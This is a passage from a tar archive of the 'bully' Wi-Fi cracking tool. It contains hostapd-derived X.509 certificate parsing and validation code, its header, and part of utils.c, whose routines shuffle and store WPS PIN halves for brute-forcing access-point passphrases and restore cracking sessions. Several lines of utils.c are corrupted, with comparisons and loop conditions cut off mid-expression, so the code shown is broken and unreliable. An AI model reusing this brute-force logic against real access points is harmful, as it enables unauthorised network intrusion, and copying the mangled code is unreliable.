hdr.tag != ASN1_TAG_INTEGER) {
wpa_printf(MSG_DEBUG, "X509: No INTEGER tag found for "
"version field - found class %d tag 0x%x",
hdr.class, hdr.tag);
return -1;
}
if (hdr.length != 1) {
wpa_printf(MSG_DEBUG, "X509: Unexpected version field "
"length %u (expected 1)", hdr.length);
return -1;
}
pos = hdr.payload;
left = hdr.length;
value = 0;
while (left) {
value <<= 8;
value |= *pos++;
left--;
}
cert->version = value;
if (cert->version != X509_CERT_V1 &&
cert->version != X509_CERT_V2 &&
cert->version != X509_CERT_V3) {
wpa_printf(MSG_DEBUG, "X509: Unsupported version %d",
cert->version + 1);
return -1;
}
if (asn1_get_next(pos, end - pos, &hdr) < 0)
return -1;
} else
cert->version = X509_CERT_V1;
wpa_printf(MSG_MSGDUMP, "X509: Version X.509v%d", cert->version + 1);
/* serialNumber CertificateSerialNumber ::= INTEGER */
if (hdr.class != ASN1_CLASS_UNIVERSAL ||
hdr.tag != ASN1_TAG_INTEGER) {
wpa_printf(MSG_DEBUG, "X509: No INTEGER tag found for "
"serialNumber; class=%d tag=0x%x",
hdr.class, hdr.tag);
return -1;
}
pos = hdr.payload;
left = hdr.length;
while (left) {
cert->serial_number <<= 8;
cert->serial_number |= *pos++;
left--;
}
wpa_printf(MSG_MSGDUMP, "X509: serialNumber %lu", cert->serial_number);
/* signature AlgorithmIdentifier */
if (x509_parse_algorithm_identifier(pos, end - pos, &cert->signature,
&pos))
return -1;
/* issuer Name */
if (x509_parse_name(pos, end - pos, &cert->issuer, &pos))
return -1;
x509_name_string(&cert->issuer, sbuf, sizeof(sbuf));
wpa_printf(MSG_MSGDUMP, "X509: issuer %s", sbuf);
/* validity Validity */
if (x509_parse_validity(pos, end - pos, cert, &pos))
return -1;
/* subject Name */
if (x509_parse_name(pos, end - pos, &cert->subject, &pos))
return -1;
x509_name_string(&cert->subject, sbuf, sizeof(sbuf));
wpa_printf(MSG_MSGDUMP, "X509: subject %s", sbuf);
/* subjectPublicKeyInfo SubjectPublicKeyInfo */
if (x509_parse_public_key(pos, end - pos, cert, &pos))
return -1;
if (pos == end)
return 0;
if (cert->version == X509_CERT_V1)
return 0;
if (asn1_get_next(pos, end - pos, &hdr) < 0 ||
hdr.class != ASN1_CLASS_CONTEXT_SPECIFIC) {
wpa_printf(MSG_DEBUG, "X509: Expected Context-Specific"
" tag to parse optional tbsCertificate "
"field(s); parsed class %d tag 0x%x",
hdr.class, hdr.tag);
return -1;
}
if (hdr.tag == 1) {
/* issuerUniqueID [1] IMPLICIT UniqueIdentifier OPTIONAL */
wpa_printf(MSG_DEBUG, "X509: issuerUniqueID");
/* TODO: parse UniqueIdentifier ::= BIT STRING */
if (hdr.payload + hdr.length == end)
return 0;
if (asn1_get_next(pos, end - pos, &hdr) < 0 ||
hdr.class != ASN1_CLASS_CONTEXT_SPECIFIC) {
wpa_printf(MSG_DEBUG, "X509: Expected Context-Specific"
" tag to parse optional tbsCertificate "
"field(s); parsed class %d tag 0x%x",
hdr.class, hdr.tag);
return -1;
}
}
if (hdr.tag == 2) {
/* subjectUniqueID [2] IMPLICIT UniqueIdentifier OPTIONAL */
wpa_printf(MSG_DEBUG, "X509: subjectUniqueID");
/* TODO: parse UniqueIdentifier ::= BIT STRING */
if (hdr.payload + hdr.length == end)
return 0;
if (asn1_get_next(pos, end - pos, &hdr) < 0 ||
hdr.class != ASN1_CLASS_CONTEXT_SPECIFIC) {
wpa_printf(MSG_DEBUG, "X509: Expected Context-Specific"
" tag to parse optional tbsCertificate "
"field(s); parsed class %d tag 0x%x",
hdr.class, hdr.tag);
return -1;
}
}
if (hdr.tag != 3) {
wpa_printf(MSG_DEBUG, "X509: Ignored unexpected "
"Context-Specific tag %d in optional "
"tbsCertificate fields", hdr.tag);
return 0;
}
/* extensions [3] EXPLICIT Extensions OPTIONAL */
if (cert->version != X509_CERT_V3) {
wpa_printf(MSG_DEBUG, "X509: X.509%d certificate and "
"Extensions data which are only allowed for "
"version 3", cert->version + 1);
return -1;
}
if (x509_parse_extensions(cert, hdr.payload, hdr.length) < 0)
return -1;
pos = hdr.payload + hdr.length;
if (pos < end) {
wpa_hexdump(MSG_DEBUG,
"X509: Ignored extra tbsCertificate data",
pos, end - pos);
}
return 0;
}
static int x509_rsadsi_oid(struct asn1_oid *oid)
{
return oid->len >= 4 &&
oid->oid[0] == 1 /* iso */ &&
oid->oid[1] == 2 /* member-body */ &&
oid->oid[2] == 840 /* us */ &&
oid->oid[3] == 113549 /* rsadsi */;
}
static int x509_pkcs_oid(struct asn1_oid *oid)
{
return oid->len >= 5 &&
x509_rsadsi_oid(oid) &&
oid->oid[4] == 1 /* pkcs */;
}
static int x509_digest_oid(struct asn1_oid *oid)
{
return oid->len >= 5 &&
x509_rsadsi_oid(oid) &&
oid->oid[4] == 2 /* digestAlgorithm */;
}
static int x509_sha1_oid(struct asn1_oid *oid)
{
return oid->len == 6 &&
oid->oid[0] == 1 /* iso */ &&
oid->oid[1] == 3 /* identified-organization */ &&
oid->oid[2] == 14 /* oiw */ &&
oid->oid[3] == 3 /* secsig */ &&
oid->oid[4] == 2 /* algorithms */ &&
oid->oid[5] == 26 /* id-sha1 */;
}
static int x509_sha256_oid(struct asn1_oid *oid)
{
return oid->len == 9 &&
oid->oid[0] == 2 /* joint-iso-itu-t */ &&
oid->oid[1] == 16 /* country */ &&
oid->oid[2] == 840 /* us */ &&
oid->oid[3] == 1 /* organization */ &&
oid->oid[4] == 101 /* gov */ &&
oid->oid[5] == 3 /* csor */ &&
oid->oid[6] == 4 /* nistAlgorithm */ &&
oid->oid[7] == 2 /* hashAlgs */ &&
oid->oid[8] == 1 /* sha256 */;
}
/**
* x509_certificate_parse - Parse a X.509 certificate in DER format
* @buf: Pointer to the X.509 certificate in DER format
* @len: Buffer length
* Returns: Pointer to the parsed certificate or %NULL on failure
*
* Caller is responsible for freeing the returned certificate by calling
* x509_certificate_free().
*/
struct x509_certificate * x509_certificate_parse(const u8 *buf, size_t len)
{
struct asn1_hdr hdr;
const u8 *pos, *end, *hash_start;
struct x509_certificate *cert;
cert = os_zalloc(sizeof(*cert) + len);
if (cert == NULL)
return NULL;
os_memcpy(cert + 1, buf, len);
cert->cert_start = (u8 *) (cert + 1);
cert->cert_len = len;
pos = buf;
end = buf + len;
/* RFC 3280 - X.509 v3 certificate / ASN.1 DER */
/* Certificate ::= SEQUENCE */
if (asn1_get_next(pos, len, &hdr) < 0 ||
hdr.class != ASN1_CLASS_UNIVERSAL ||
hdr.tag != ASN1_TAG_SEQUENCE) {
wpa_printf(MSG_DEBUG, "X509: Certificate did not start with "
"a valid SEQUENCE - found class %d tag 0x%x",
hdr.class, hdr.tag);
x509_certificate_free(cert);
return NULL;
}
pos = hdr.payload;
if (pos + hdr.length > end) {
x509_certificate_free(cert);
return NULL;
}
if (pos + hdr.length < end) {
wpa_hexdump(MSG_MSGDUMP, "X509: Ignoring extra data after DER "
"encoded certificate",
pos + hdr.length, end - pos + hdr.length);
end = pos + hdr.length;
}
hash_start = pos;
cert->tbs_cert_start = cert->cert_start + (hash_start - buf);
if (x509_parse_tbs_certificate(pos, end - pos, cert, &pos)) {
x509_certificate_free(cert);
return NULL;
}
cert->tbs_cert_len = pos - hash_start;
/* signatureAlgorithm AlgorithmIdentifier */
if (x509_parse_algorithm_identifier(pos, end - pos,
&cert->signature_alg, &pos)) {
x509_certificate_free(cert);
return NULL;
}
/* signatureValue BIT STRING */
if (asn1_get_next(pos, end - pos, &hdr) < 0 ||
hdr.class != ASN1_CLASS_UNIVERSAL ||
hdr.tag != ASN1_TAG_BITSTRING) {
wpa_printf(MSG_DEBUG, "X509: Expected BITSTRING "
"(signatureValue) - found class %d tag 0x%x",
hdr.class, hdr.tag);
x509_certificate_free(cert);
return NULL;
}
if (hdr.length < 1) {
x509_certificate_free(cert);
return NULL;
}
pos = hdr.payload;
if (*pos) {
wpa_printf(MSG_DEBUG, "X509: BITSTRING - %d unused bits",
*pos);
/* PKCS #1 v1.5 10.2.1:
* It is an error if the length in bits of the signature S is
* not a multiple of eight.
*/
x509_certificate_free(cert);
return NULL;
}
os_free(cert->sign_value);
cert->sign_value = os_malloc(hdr.length - 1);
if (cert->sign_value == NULL) {
wpa_printf(MSG_DEBUG, "X509: Failed to allocate memory for "
"signatureValue");
x509_certificate_free(cert);
return NULL;
}
os_memcpy(cert->sign_value, pos + 1, hdr.length - 1);
cert->sign_value_len = hdr.length - 1;
wpa_hexdump(MSG_MSGDUMP, "X509: signature",
cert->sign_value, cert->sign_value_len);
return cert;
}
/**
* x509_certificate_check_signature - Verify certificate signature
* @issuer: Issuer certificate
* @cert: Certificate to be verified
* Returns: 0 if cert has a valid signature that was signed by the issuer,
* -1 if not
*/
int x509_certificate_check_signature(struct x509_certificate *issuer,
struct x509_certificate *cert)
{
struct crypto_public_key *pk;
u8 *data;
const u8 *pos, *end, *next, *da_end;
size_t data_len;
struct asn1_hdr hdr;
struct asn1_oid oid;
u8 hash[32];
size_t hash_len;
if (!x509_pkcs_oid(&cert->signature.oid) ||
cert->signature.oid.len != 7 ||
cert->signature.oid.oid[5] != 1 /* pkcs-1 */) {
wpa_printf(MSG_DEBUG, "X509: Unrecognized signature "
"algorithm");
return -1;
}
pk = crypto_public_key_import(issuer->public_key,
issuer->public_key_len);
if (pk == NULL)
return -1;
data_len = cert->sign_value_len;
data = os_malloc(data_len);
if (data == NULL) {
crypto_public_key_free(pk);
return -1;
}
if (crypto_public_key_decrypt_pkcs1(pk, cert->sign_value,
cert->sign_value_len, data,
&data_len) < 0) {
wpa_printf(MSG_DEBUG, "X509: Failed to decrypt signature");
crypto_public_key_free(pk);
os_free(data);
return -1;
}
crypto_public_key_free(pk);
wpa_hexdump(MSG_MSGDUMP, "X509: Signature data D", data, data_len);
/*
* PKCS #1 v1.5, 10.1.2:
*
* DigestInfo ::= SEQUENCE {
* digestAlgorithm DigestAlgorithmIdentifier,
* digest Digest
* }
*
* DigestAlgorithmIdentifier ::= AlgorithmIdentifier
*
* Digest ::= OCTET STRING
*
*/
if (asn1_get_next(data, data_len, &hdr) < 0 ||
hdr.class != ASN1_CLASS_UNIVERSAL ||
hdr.tag != ASN1_TAG_SEQUENCE) {
wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE "
"(DigestInfo) - found class %d tag 0x%x",
hdr.class, hdr.tag);
os_free(data);
return -1;
}
pos = hdr.payload;
end = pos + hdr.length;
/*
* X.509:
* AlgorithmIdentifier ::= SEQUENCE {
* algorithm OBJECT IDENTIFIER,
* parameters ANY DEFINED BY algorithm OPTIONAL
* }
*/
if (asn1_get_next(pos, end - pos, &hdr) < 0 ||
hdr.class != ASN1_CLASS_UNIVERSAL ||
hdr.tag != ASN1_TAG_SEQUENCE) {
wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE "
"(AlgorithmIdentifier) - found class %d tag 0x%x",
hdr.class, hdr.tag);
os_free(data);
return -1;
}
da_end = hdr.payload + hdr.length;
if (asn1_get_oid(hdr.payload, hdr.length, &oid, &next)) {
wpa_printf(MSG_DEBUG, "X509: Failed to parse digestAlgorithm");
os_free(data);
return -1;
}
if (x509_sha1_oid(&oid)) {
if (cert->signature.oid.oid[6] !=
5 /* sha-1WithRSAEncryption */) {
wpa_printf(MSG_DEBUG, "X509: digestAlgorithm SHA1 "
"does not match with certificate "
"signatureAlgorithm (%lu)",
cert->signature.oid.oid[6]);
os_free(data);
return -1;
}
goto skip_digest_oid;
}
if (x509_sha256_oid(&oid)) {
if (cert->signature.oid.oid[6] !=
11 /* sha2561WithRSAEncryption */) {
wpa_printf(MSG_DEBUG, "X509: digestAlgorithm SHA256 "
"does not match with certificate "
"signatureAlgorithm (%lu)",
cert->signature.oid.oid[6]);
os_free(data);
return -1;
}
goto skip_digest_oid;
}
if (!x509_digest_oid(&oid)) {
wpa_printf(MSG_DEBUG, "X509: Unrecognized digestAlgorithm");
os_free(data);
return -1;
}
switch (oid.oid[5]) {
case 5: /* md5 */
if (cert->signature.oid.oid[6] != 4 /* md5WithRSAEncryption */)
{
wpa_printf(MSG_DEBUG, "X509: digestAlgorithm MD5 does "
"not match with certificate "
"signatureAlgorithm (%lu)",
cert->signature.oid.oid[6]);
os_free(data);
return -1;
}
break;
case 2: /* md2 */
case 4: /* md4 */
default:
wpa_printf(MSG_DEBUG, "X509: Unsupported digestAlgorithm "
"(%lu)", oid.oid[5]);
os_free(data);
return -1;
}
skip_digest_oid:
/* Digest ::= OCTET STRING */
pos = da_end;
end = data + data_len;
if (asn1_get_next(pos, end - pos, &hdr) < 0 ||
hdr.class != ASN1_CLASS_UNIVERSAL ||
hdr.tag != ASN1_TAG_OCTETSTRING) {
wpa_printf(MSG_DEBUG, "X509: Expected OCTETSTRING "
"(Digest) - found class %d tag 0x%x",
hdr.class, hdr.tag);
os_free(data);
return -1;
}
wpa_hexdump(MSG_MSGDUMP, "X509: Decrypted Digest",
hdr.payload, hdr.length);
switch (cert->signature.oid.oid[6]) {
case 4: /* md5WithRSAEncryption */
md5_vector(1, &cert->tbs_cert_start, &cert->tbs_cert_len,
hash);
hash_len = 16;
wpa_hexdump(MSG_MSGDUMP, "X509: Certificate hash (MD5)",
hash, hash_len);
break;
case 5: /* sha-1WithRSAEncryption */
sha1_vector(1, &cert->tbs_cert_start, &cert->tbs_cert_len,
hash);
hash_len = 20;
wpa_hexdump(MSG_MSGDUMP, "X509: Certificate hash (SHA1)",
hash, hash_len);
break;
case 11: /* sha256WithRSAEncryption */
sha256_vector(1, &cert->tbs_cert_start, &cert->tbs_cert_len,
hash);
hash_len = 32;
wpa_hexdump(MSG_MSGDUMP, "X509: Certificate hash (SHA256)",
hash, hash_len);
break;
case 2: /* md2WithRSAEncryption */
case 12: /* sha384WithRSAEncryption */
case 13: /* sha512WithRSAEncryption */
default:
wpa_printf(MSG_INFO, "X509: Unsupported certificate signature "
"algorithm (%lu)", cert->signature.oid.oid[6]);
os_free(data);
return -1;
}
if (hdr.length != hash_len ||
os_memcmp(hdr.payload, hash, hdr.length) != 0) {
wpa_printf(MSG_INFO, "X509: Certificate Digest does not match "
"with calculated tbsCertificate hash");
os_free(data);
return -1;
}
os_free(data);
wpa_printf(MSG_DEBUG, "X509: Certificate Digest matches with "
"calculated tbsCertificate hash");
return 0;
}
static int x509_valid_issuer(const struct x509_certificate *cert)
{
if ((cert->extensions_present & X509_EXT_BASIC_CONSTRAINTS) &&
!cert->ca) {
wpa_printf(MSG_DEBUG, "X509: Non-CA certificate used as an "
"issuer");
return -1;
}
if (cert->version == X509_CERT_V3 &&
!(cert->extensions_present & X509_EXT_BASIC_CONSTRAINTS)) {
wpa_printf(MSG_DEBUG, "X509: v3 CA certificate did not "
"include BasicConstraints extension");
return -1;
}
if ((cert->extensions_present & X509_EXT_KEY_USAGE) &&
!(cert->key_usage & X509_KEY_USAGE_KEY_CERT_SIGN)) {
wpa_printf(MSG_DEBUG, "X509: Issuer certificate did not have "
"keyCertSign bit in Key Usage");
return -1;
}
return 0;
}
/**
* x509_certificate_chain_validate - Validate X.509 certificate chain
* @trusted: List of trusted certificates
* @chain: Certificate chain to be validated (first chain must be issued by
* signed by the second certificate in the chain and so on)
* @reason: Buffer for returning failure reason (X509_VALIDATE_*)
* Returns: 0 if chain is valid, -1 if not
*/
int x509_certificate_chain_validate(struct x509_certificate *trusted,
struct x509_certificate *chain,
int *reason)
{
long unsigned idx;
int chain_trusted = 0;
struct x509_certificate *cert, *trust;
char buf[128];
struct os_time now;
*reason = X509_VALIDATE_OK;
wpa_printf(MSG_DEBUG, "X509: Validate certificate chain");
os_get_time(&now);
for (cert = chain, idx = 0; cert; cert = cert->next, idx++) {
x509_name_string(&cert->subject, buf, sizeof(buf));
wpa_printf(MSG_DEBUG, "X509: %lu: %s", idx, buf);
if (chain_trusted)
continue;
if ((unsigned long) now.sec <
(unsigned long) cert->not_before ||
(unsigned long) now.sec >
(unsigned long) cert->not_after) {
wpa_printf(MSG_INFO, "X509: Certificate not valid "
"(now=%lu not_before=%lu not_after=%lu)",
now.sec, cert->not_before, cert->not_after);
*reason = X509_VALIDATE_CERTIFICATE_EXPIRED;
return -1;
}
if (cert->next) {
if (x509_name_compare(&cert->issuer,
&cert->next->subject) != 0) {
wpa_printf(MSG_DEBUG, "X509: Certificate "
"chain issuer name mismatch");
x509_name_string(&cert->issuer, buf,
sizeof(buf));
wpa_printf(MSG_DEBUG, "X509: cert issuer: %s",
buf);
x509_name_string(&cert->next->subject, buf,
sizeof(buf));
wpa_printf(MSG_DEBUG, "X509: next cert "
"subject: %s", buf);
*reason = X509_VALIDATE_CERTIFICATE_UNKNOWN;
return -1;
}
if (x509_valid_issuer(cert->next) < 0) {
*reason = X509_VALIDATE_BAD_CERTIFICATE;
return -1;
}
if ((cert->next->extensions_present &
X509_EXT_PATH_LEN_CONSTRAINT) &&
idx > cert->next->path_len_constraint) {
wpa_printf(MSG_DEBUG, "X509: pathLenConstraint"
" not met (idx=%lu issuer "
"pathLenConstraint=%lu)", idx,
cert->next->path_len_constraint);
*reason = X509_VALIDATE_BAD_CERTIFICATE;
return -1;
}
if (x509_certificate_check_signature(cert->next, cert)
< 0) {
wpa_printf(MSG_DEBUG, "X509: Invalid "
"certificate signature within "
"chain");
*reason = X509_VALIDATE_BAD_CERTIFICATE;
return -1;
}
}
for (trust = trusted; trust; trust = trust->next) {
if (x509_name_compare(&cert->issuer, &trust->subject)
== 0)
break;
}
if (trust) {
wpa_printf(MSG_DEBUG, "X509: Found issuer from the "
"list of trusted certificates");
if (x509_valid_issuer(trust) < 0) {
*reason = X509_VALIDATE_BAD_CERTIFICATE;
return -1;
}
if (x509_certificate_check_signature(trust, cert) < 0)
{
wpa_printf(MSG_DEBUG, "X509: Invalid "
"certificate signature");
*reason = X509_VALIDATE_BAD_CERTIFICATE;
return -1;
}
wpa_printf(MSG_DEBUG, "X509: Trusted certificate "
"found to complete the chain");
chain_trusted = 1;
}
}
if (!chain_trusted) {
wpa_printf(MSG_DEBUG, "X509: Did not find any of the issuers "
"from the list of trusted certificates");
if (trusted) {
*reason = X509_VALIDATE_UNKNOWN_CA;
return -1;
}
wpa_printf(MSG_DEBUG, "X509: Certificate chain validation "
"disabled - ignore unknown CA issue");
}
wpa_printf(MSG_DEBUG, "X509: Certificate chain valid");
return 0;
}
/**
* x509_certificate_get_subject - Get a certificate based on Subject name
* @chain: Certificate chain to search through
* @name: Subject name to search for
* Returns: Pointer to the certificate with the given Subject name or
* %NULL on failure
*/
struct x509_certificate *
x509_certificate_get_subject(struct x509_certificate *chain,
struct x509_name *name)
{
struct x509_certificate *cert;
for (cert = chain; cert; cert = cert->next) {
if (x509_name_compare(&cert->subject, name) == 0)
return cert;
}
return NULL;
}
/**
* x509_certificate_self_signed - Is the certificate self-signed?
* @cert: Certificate
* Returns: 1 if certificate is self-signed, 0 if not
*/
int x509_certificate_self_signed(struct x509_certificate *cert)
{
return x509_name_compare(&cert->issuer, &cert->subject) == 0;
}
bully-1.4-00/src/tls/x509v3.h 0000775 0000000 0000000 00000007272 13615304636 0015464 0 ustar 00root root 0000000 0000000 /*
* X.509v3 certificate parsing and processing
* Copyright (c) 2006, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#ifndef X509V3_H
#define X509V3_H
#include "asn1.h"
struct x509_algorithm_identifier {
struct asn1_oid oid;
};
struct x509_name_attr {
enum x509_name_attr_type {
X509_NAME_ATTR_NOT_USED,
X509_NAME_ATTR_DC,
X509_NAME_ATTR_CN,
X509_NAME_ATTR_C,
X509_NAME_ATTR_L,
X509_NAME_ATTR_ST,
X509_NAME_ATTR_O,
X509_NAME_ATTR_OU
} type;
char *value;
};
#define X509_MAX_NAME_ATTRIBUTES 20
struct x509_name {
struct x509_name_attr attr[X509_MAX_NAME_ATTRIBUTES];
size_t num_attr;
char *email; /* emailAddress */
/* from alternative name extension */
char *alt_email; /* rfc822Name */
char *dns; /* dNSName */
char *uri; /* uniformResourceIdentifier */
u8 *ip; /* iPAddress */
size_t ip_len; /* IPv4: 4, IPv6: 16 */
struct asn1_oid rid; /* registeredID */
};
struct x509_certificate {
struct x509_certificate *next;
enum { X509_CERT_V1 = 0, X509_CERT_V2 = 1, X509_CERT_V3 = 2 } version;
unsigned long serial_number;
struct x509_algorithm_identifier signature;
struct x509_name issuer;
struct x509_name subject;
os_time_t not_before;
os_time_t not_after;
struct x509_algorithm_identifier public_key_alg;
u8 *public_key;
size_t public_key_len;
struct x509_algorithm_identifier signature_alg;
u8 *sign_value;
size_t sign_value_len;
/* Extensions */
unsigned int extensions_present;
#define X509_EXT_BASIC_CONSTRAINTS (1 << 0)
#define X509_EXT_PATH_LEN_CONSTRAINT (1 << 1)
#define X509_EXT_KEY_USAGE (1 << 2)
#define X509_EXT_SUBJECT_ALT_NAME (1 << 3)
#define X509_EXT_ISSUER_ALT_NAME (1 << 4)
/* BasicConstraints */
int ca; /* cA */
unsigned long path_len_constraint; /* pathLenConstraint */
/* KeyUsage */
unsigned long key_usage;
#define X509_KEY_USAGE_DIGITAL_SIGNATURE (1 << 0)
#define X509_KEY_USAGE_NON_REPUDIATION (1 << 1)
#define X509_KEY_USAGE_KEY_ENCIPHERMENT (1 << 2)
#define X509_KEY_USAGE_DATA_ENCIPHERMENT (1 << 3)
#define X509_KEY_USAGE_KEY_AGREEMENT (1 << 4)
#define X509_KEY_USAGE_KEY_CERT_SIGN (1 << 5)
#define X509_KEY_USAGE_CRL_SIGN (1 << 6)
#define X509_KEY_USAGE_ENCIPHER_ONLY (1 << 7)
#define X509_KEY_USAGE_DECIPHER_ONLY (1 << 8)
/*
* The DER format certificate follows struct x509_certificate. These
* pointers point to that buffer.
*/
const u8 *cert_start;
size_t cert_len;
const u8 *tbs_cert_start;
size_t tbs_cert_len;
};
enum {
X509_VALIDATE_OK,
X509_VALIDATE_BAD_CERTIFICATE,
X509_VALIDATE_UNSUPPORTED_CERTIFICATE,
X509_VALIDATE_CERTIFICATE_REVOKED,
X509_VALIDATE_CERTIFICATE_EXPIRED,
X509_VALIDATE_CERTIFICATE_UNKNOWN,
X509_VALIDATE_UNKNOWN_CA
};
void x509_certificate_free(struct x509_certificate *cert);
struct x509_certificate * x509_certificate_parse(const u8 *buf, size_t len);
void x509_name_string(struct x509_name *name, char *buf, size_t len);
int x509_name_compare(struct x509_name *a, struct x509_name *b);
void x509_certificate_chain_free(struct x509_certificate *cert);
int x509_certificate_check_signature(struct x509_certificate *issuer,
struct x509_certificate *cert);
int x509_certificate_chain_validate(struct x509_certificate *trusted,
struct x509_certificate *chain,
int *reason);
struct x509_certificate *
x509_certificate_get_subject(struct x509_certificate *chain,
struct x509_name *name);
int x509_certificate_self_signed(struct x509_certificate *cert);
#endif /* X509V3_H */
bully-1.4-00/src/utils.c 0000775 0000000 0000000 00000020053 13615304636 0015027 0 ustar 00root root 0000000 0000000 /*
bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP
Copyright (C) 2020 kimocoder
Copyright (C) 2017 wiire
Copyright (C) 2012 Brian Purcell
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
*/
char *hex(void *p, int len)
{
if ((HEXSZ-1)/2 < len)
len = (HEXSZ-1)/2;
char *out = _xbuf;
while (len--) {
*out++ = hx[(*uc(p))>>4];
*out++ = hx[(*uc(p))&15];
(u_char*)p++;
};
*out = 0;
return _xbuf;
};
int get_int(char *in, int *out)
{
int i, o=0, len = strlen(in);
for (i=0; i= 'A' && *in <= 'F')
*in += 'a'-'A';
if (*in >= '0' && *in <= '9')
o += *in - '0';
else
if (*in >= 'a' && *in <= 'f')
o += *in - 'a' + 10;
else
return 1;
in++;
};
*out++ = o;
if (len == 17)
if (*in == ':' || *in == 0)
in++;
else
return 1;
}
return 0;
};
char *fmt_mac(char *out, uint8 *in)
{
int i, x=0;
char *buf = out;
for (i=0; i<6; i++, in++) {
*out++ = hx[(*in) >> 4];
*out++ = hx[(*in) & 15];
*out++ = ':';
};
*(--out) = 0;
return buf;
};
char *init_chans(struct global *G)
{
int count = 1, i = 0, k;
char *ch, *in = G->hop;
while (*in != 0)
if (*in++ == ',')
count++;
if (count==1) {
G->fixed = 1;
G->chanx = 1;
};
G->chans = (int*)calloc(count+1, sizeof(int));
G->freqs = (int*)calloc(count+1, sizeof(int));
if (!G->chans || !G->freqs) {
fprintf(stderr, "Memory allocation error\n");
exit(2);
};
G->chans[0] = G->freqs[0] = count;
in = G->hop;
while (i++ < count) {
ch = in;
while (*ch!=',' && *ch!=0)
ch++;
*ch = 0;
if (get_int(in, &G->chans[i]))
return in;
for (k=0; kchans[i] == freqs[k].chan) {
G->freqs[i] = freqs[k].freq;
G->index[G->chans[i]] = i;
goto init_next;
};
return in;
init_next:
in = ch+1;
};
return NULL;
};
void init_pins(struct global *G)
{
FILE *pf;
int i, j, t;
uint8 *f, *cp;
G->pin1 = calloc(sizeof(int16), 10000);
if (!G->pin1) {
pin_err:
vprint("[X] Couldn't allocate memory for randomized pins\n");
exit(2);
};
G->pin2 = calloc(sizeof(int16), 10000);
if (!G->pin2)
goto pin_err;
if ((pf = fopen(G->pinf, "r")) == 0) {
if ((pf = fopen(G->pinf, "w")) == 0) {
vprint("[X] Couldn't create pin file '%s'\n", G->pinf);
exit(8);
};
vprint("[!] Creating new randomized pin file '%s'\n", G->pinf);
#ifdef HAVE_LUA
if (G->luavm)
vprint("[!] Using lua script '%s'\n", G->luaf);
#endif
for (i=0; i<10000; i++) G->pin1[i] = i;
for (i=0; i<10000; i++)
if (G->pin1[i] == i) {
while ((j = random() % 10000) == i);
t = G->pin1[j];
G->pin1[j] = G->pin1[i];
G->pin1[i] = t;
};
for (i=0; i<10000; i++) G->pin2[i] = i;
for (i=0; i<10000; i++)
if (G->pin2[i] == i) {
while ((j = random() % 10000) == i);
t = G->pin2[j];
G->pin2[j] = G->pin2[i];
G->pin2[i] = t;
};
#ifdef HAVE_LUA
if (G->luaf && G->luavm) {
int top, numres, numvalid = 0;
uint32 *pins;
lua_getglobal(G->luavm, "main");
top = lua_gettop(G->luavm);
lua_pcall(G->luavm, 0, LUA_MULTRET, 0);
numres = lua_gettop(G->luavm) - top + 1;
pins = malloc(sizeof(uint32) * numres);
if (pins == 0)
goto pin_err;
while (numres--) {
if (!lua_isnumber(G->luavm, -1)) {
lua_pop(G->luavm, 1);
continue;
};
pins[numvalid] = lua_tonumber(G->luavm, -1);
lua_pop(G->luavm, 1);
numvalid++;
};
vprint("[!] List of generated pins '");
for (i = numvalid; i--; ) {
vprint("%u", pins[i]);
if (i != 0)
vprint(", ");
}
vprint("'\n");
for (i = numvalid; i--; ) {
int fhalf = pins[i] / 10000;
for (j = 0; j < 10000; j++) {
if (G->pin1[j] == fhalf) {
G->pin1[j] = G->pin1[0 + numvalid - i - 1];
G->pin1[0 + numvalid - i - 1] = fhalf;
};
};
// TODO issue with 2 identical halves?
int shalf = pins[i] % 10000;
for (j = 0; j < 10000; j++) {
if (G->pin2[j] == shalf) {
G->pin2[j] = G->pin2[1000 + numvalid - i - 1];
G->pin2[1000 + numvalid - i - 1] = shalf;
};
};
};
};
#endif
if ((f = calloc(sizeof(uint8), 1000)) == 0)
goto pin_err;
for (i=0, j=1000; i<1000; i++) {
while (f[G->pin2[j]/10])
j++;
f[G->pin2[j]/10] = 1;
t = G->pin2[j];
G->pin2[j] = G->pin2[i];
G->pin2[i] = t;
};
free(f);
cp = (uint8*)G->pin1;
for (i=0; i<20000; i++) fputc(*cp++, pf);
cp = (uint8*)G->pin2;
for (i=0; i<20000; i++) fputc(*cp++, pf);
fclose(pf);
} else {
vprint("[+] Loading randomized pins from '%s'\n", G->pinf);
cp = (uint8*)G->pin1;
for (i=0; i<20000; i++)
if ((t = fgetc(pf)) != EOF)
*cp++ = t;
else {
eof_pins:
vprint("[X] Random pin file has incorrect size, exiting\n");
exit(8);
};
cp = (uint8*)G->pin2;
for (i=0; i<20000; i++)
if ((t = fgetc(pf)) != EOF)
*cp++ = t;
else
goto eof_pins;
if (fgetc(pf) != EOF)
goto eof_pins;
fclose(pf);
for (i=0; i<9999; i++)
if (G->pin1[i]<0 || 9999pin1[i] || G->pin1[i]==i) {
bad_pins:
vprint("[X] Random pin file appears corrupted, exiting\n");
exit(8);
};
for (i=0; i<9999; i++)
if (G->pin2[i]<0 || 9999pin2[i])
goto bad_pins;
};
};
int get_start(struct global *G)
{
FILE *rf;
int index, pin, broken;
int pin2max = (G->broken ? 10000 : 1000);
int pin2div = (G->broken ? 1 : 10);
char *line, *last = "00000000:00000000:0::\n";
char *oldf = malloc(strlen(G->warpath) + 23);
strcpy(oldf, G->warpath);
strcat(oldf, "/");
strcat(oldf, G->ssids);
strcat(oldf, ".run");
if ((rf = fopen(oldf, "r")) != NULL)
rename(oldf, G->runf);
free(oldf);
if ((rf = fopen(G->runf, "r")) == NULL) {
if ((rf = fopen(G->runf, "w")) != NULL) {
if (!(op_gen_pin == 0))
{
fprintf(rf, "# DO NOT MODIFY CONTENTS OF THIS FILE\n# '%s' (%s)\n", G->essid, G->ssids);
fclose(rf);
};
};
return 0;
};
vprint("[!] Restoring session from '%s'\n", G->runf);
while ((line = fgets(G->error, 256, rf)) != NULL)
last = line;
